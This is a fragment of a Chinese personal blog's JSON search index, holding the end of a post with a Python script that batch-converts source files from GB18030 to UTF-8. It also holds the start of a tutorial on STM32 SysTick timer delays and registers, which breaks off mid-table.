GB18030---------错误统计------------共0个错误!-----------------------------\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/details\u003e\u003cimg src=\"https://yun.ksfu.top/blog/gb2312/2.webp\" style=\"zoom:67%;\" /\u003e\u003cp\u003e直接打开,舒服了\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"代码\"\u003e\u003ca href=\"#代码\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e os\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e codecsgErrArray \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003econvert\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efileName\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e filePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e out_enc\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"utf-8\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003etry\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e content \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e codecs\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'rb'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 直接设置GB18030编码节省时间\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e'GB18030'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"\u0026#123;0:50\u0026#125;\u0026#123;1\u0026#125;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eformat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efileName\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e source_encoding\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e \u003cspan class=\"token boolean\"\u003eNone\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e out_enc\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e content \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e content\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003edecode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003esource_encoding\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eencode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout_enc\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e codecs\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'wb'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003econtent\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e gErrArray\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"can not recgonize file encoding %s\"\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e filePath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e err\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e gErrArray\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"%s:%s\"\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e err\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003eshow_files\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token triple-quoted-string string\"\u003e\"\"\" 遍历当前目录所有py文件及文件夹 :param path: :param all_files: :return: \"\"\"\u003c/span\u003e file_list \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003elistdir\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 准备循环判断每个元素是否是文件夹还是文件,是文件的话,把名称传入list,是文件夹的话,递归\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e file_list\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 利用os.path.join()方法取得路径全名,并存入cur_path变量,否则每次只能遍历一层目录\u003c/span\u003e cur_path \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ejoin\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 判断是否是文件夹\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eisdir\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e show_files\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003esplitext\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.h'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.c'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.cpp'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.hpp'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.bat'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.java'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.txt'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e convert\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e cur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token comment\"\u003e#explore(os.getcwd())\u003c/span\u003e filePath \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003einput\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"请输入要转换编码的文件夹路径: \\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"\\r\\n===============================================================\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"\u0026#123;0:50\u0026#125;\u0026#123;1\u0026#125;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eformat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'fileName'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'fileEncoding'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"===============================================================\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e show_files\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'\\r\\n---------错误统计------------'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e index\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e item \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eenumerate\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eitem\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'\\r\\n共%d个错误!'\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u003e\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"请检查错误文件手动修改编码\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'\\r\\n-----------------------------'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"__main__\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e main\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e","url":"https://blog.ksfu.top/posts/2d8a/"},{"title":"STM32使用SysTick定时器延时","time":"2022-07-27T18:42:15Z","content":"\u003ch1 id=\"STM32使用SysTick定时器延时\"\u003e\u003ca href=\"#STM32使用SysTick定时器延时\" class=\"headerlink\" title=\"STM32使用SysTick定时器延时\"\u003e\u003c/a\u003eSTM32使用SysTick定时器延时\u003c/h1\u003e\u003cp\u003e最近\u003chr /\u003e\u003ch1 id=\"STM32使用SysTick定时器延时\"\u003e\u003ca href=\"#STM32使用SysTick定时器延时\" class=\"headerlink\" title=\"STM32使用SysTick定时器延时\"\u003e\u003c/a\u003eSTM32使用SysTick定时器延时\u003c/h1\u003e\u003cp\u003e最近在学习Stm32 HAL库相关教程\u003cdel\u003e(之前都是xjb缝合,缺少点原理的理解\u003c/del\u003e,在看到TM1640(一个可以方便在数码管上显示内容的模块)驱动编写的过程需要用到us 级别的延时,而HAL 库的 \u003ccode\u003eHal_Dealy()\u003c/code\u003e 的函数是ms 级别的,所以需要自己手动编写一个更精准的延时函数。看教程里几行不知所云,在搜索过程中大概了解到了几种写发,但是感觉比较优雅的是使用 \u003cstrong\u003eSysTick定时器\u003c/strong\u003e 进行延时。但是几篇教程在原理处比较简略,所以根据个人理解学习了一下。\u003c/p\u003e\u003ch2 id=\"参考目录\"\u003e\u003ca href=\"#参考目录\" class=\"headerlink\" title=\"参考目录\"\u003e\u003c/a\u003e参考目录\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e《ARM Cortex-M3 权威指南》第3版\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/Fireflycjd/p/14304902.html\"\u003eSTM32延时函数的四种方法 - Fireflycjd - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/xuqu607/p/13737040.html\"\u003eSTM32的SysTick延时方法 - 代码争霸 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Leisure_ksj/article/details/105273110\"\u003eSTM32学习心得九:Systick滴答定时器和延时函数解读_天亮继续睡的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/haha690/article/details/111053367\"\u003estm32的systick(滴答定时器)实现精准延时_haha690的博客-CSDN博客_stm32精准定时\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://weibo01.blog.csdn.net/article/details/81136564\"\u003eSTM32延时函数的四种方法:普通延时(2种)、SysTick 定时器延时(2种)_魏波-的博客-CSDN博客_delayms延时函数用法\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://waka-can.blog.csdn.net/article/details/106527001?spm=1001.2014.3001.5506\"\u003e关于STM32单片机延时微妙(delay_us)函数-hal库_好奇龙猫的博客-CSDN博客_delay_us\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Firefly_cjd/article/details/106709259?spm=1001.2014.3001.5506\"\u003eSTM32延时函数的四种方法_strongercjd的博客-CSDN博客_stm32延时函数\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://shequ.stmicroelectronics.cn/forum.php?mod=viewthread\u0026tid=628767\"\u003eSTM32高精度延时实验 (stmicroelectronics.cn)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"几种延时方法\"\u003e\u003ca href=\"#几种延时方法\" class=\"headerlink\" title=\"几种延时方法\"\u003e\u003c/a\u003e几种延时方法\u003c/h2\u003e\u003cp\u003e第一种比较粗暴,就是让单片机做一些无关紧要的工作来打发时间,比如写点循环;\u003c/p\u003e\u003cp\u003e第二种是用汇编指令,和第一种大同小异;\u003c/p\u003e\u003cp\u003e第三种是使用SysTick滴答定时器,但是是采取 \u003cstrong\u003e中断\u003c/strong\u003e 的方式;\u003c/p\u003e\u003cp\u003e第四种是使用SysTick滴答定时器,但是是采取 \u003cstrong\u003e查询\u003c/strong\u003e 的方式,也就是 \u003cstrong\u003e本次使用的方法\u003c/strong\u003e ;\u003c/p\u003e\u003cp\u003e……(前三种可以在参考目录找到具体实现\u003c/p\u003e\u003ch2 id=\"SysTick-定时器\"\u003e\u003ca href=\"#SysTick-定时器\" class=\"headerlink\" title=\"SysTick 定时器\"\u003e\u003c/a\u003eSysTick 定时器\u003c/h2\u003e\u003ch3 id=\"简介\"\u003e\u003ca href=\"#简介\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e详细资料可以阅读 《ARM Cortex-M3 权威指南》第3版 9.5 SysTick 定时器。\u003c/p\u003e\u003cp\u003eSysTick 定时器是 Cortex-M 处理器内部集成的一个小型定时器,属于NVIC 的一部分,可以产生SysTick 异常。SysTick 为简单的向下计数的24位计数器,可以使用处理器时钟或者外部时钟。\u003c/p\u003e\u003cp\u003eSysTick 定时器可用作简单的定时器外设,用以产生周期性中断,延时或时间测量。\u003c/p\u003e\u003ch3 id=\"SyTick-定时器的寄存器\"\u003e\u003ca href=\"#SyTick-定时器的寄存器\" class=\"headerlink\" title=\"SyTick 定时器的寄存器\"\u003e\u003c/a\u003eSyTick 定时器的寄存器\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e地址\u003c/th\u003e\u003cth\u003eCMSIS-Core 符号\u003c/th\u003e\u003cth\u003e寄存器\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0xE000E010\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 控制和状态寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E014\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 重装值寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E018\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 当前值寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E01C\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; CALIB\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 校准值寄存器\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-控制和状态寄存器(SysTick-gt-CTRL)\"\u003e\u003ca href=\"#SysTick-控制和状态寄存器(SysTick-gt-CTRL)\" class=\"headerlink\" title=\"SysTick 控制和状态寄存器(SysTick -\u0026gt; CTRL)\"\u003e\u003c/a\u003eSysTick 控制和状态寄存器(\u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位段\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e16\u003c/td\u003e\u003ctd\u003eCOUNTFLAG\u003c/td\u003e\u003ctd\u003eRO\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e当SYSTICK 定时器计数到0时,该位变成1,读取寄存器或清除计数器当前值会被清零\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003eCLKSOURCE\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e0 \u0026#x3D; 外部参考时钟(STCLK);\u003cbr /\u003e1 \u0026#x3D; 使用内核时钟\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003eTOCKINT\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e1 \u0026#x3D; SYSTICK 定时器计数减至0时产生异常 \u003cbr /\u003e0 \u0026#x3D; 不产生异常\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eENABLE\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eSYSTICK 定时器使能\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-重装值寄存器(SysTick-gt-LOAD)\"\u003e\u003ca href=\"#SysTick-重装值寄存器(SysTick-gt-LOAD)\" class=\"headerlink\" title=\"SysTick 重装值寄存器(SysTick -\u0026gt; LOAD)\"\u003e\u003c/a\u003eSysTick 重装值寄存器(\u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eRELOAD\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;W\u003c/td\u003e\u003ctd\u003e未定义\u003c/td\u003e\u003ctd\u003e定时器为0时的重装载值\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-当前值寄存器(SysTick-gt-VAL)\"\u003e\u003ca href=\"#SysTick-当前值寄存器(SysTick-gt-VAL)\" class=\"headerlink\" title=\"SysTick 当前值寄存器(SysTick -\u0026gt; VAL)\"\u003e\u003c/a\u003eSysTick 当前值寄存器(\u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类信\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eCURRENT\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;Wc\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e读出值位SYSTICK 定时器的当前数值。写入任何值都会清除寄存器,SYSTICK 控制和状态寄存器中的 COUNTFLAG 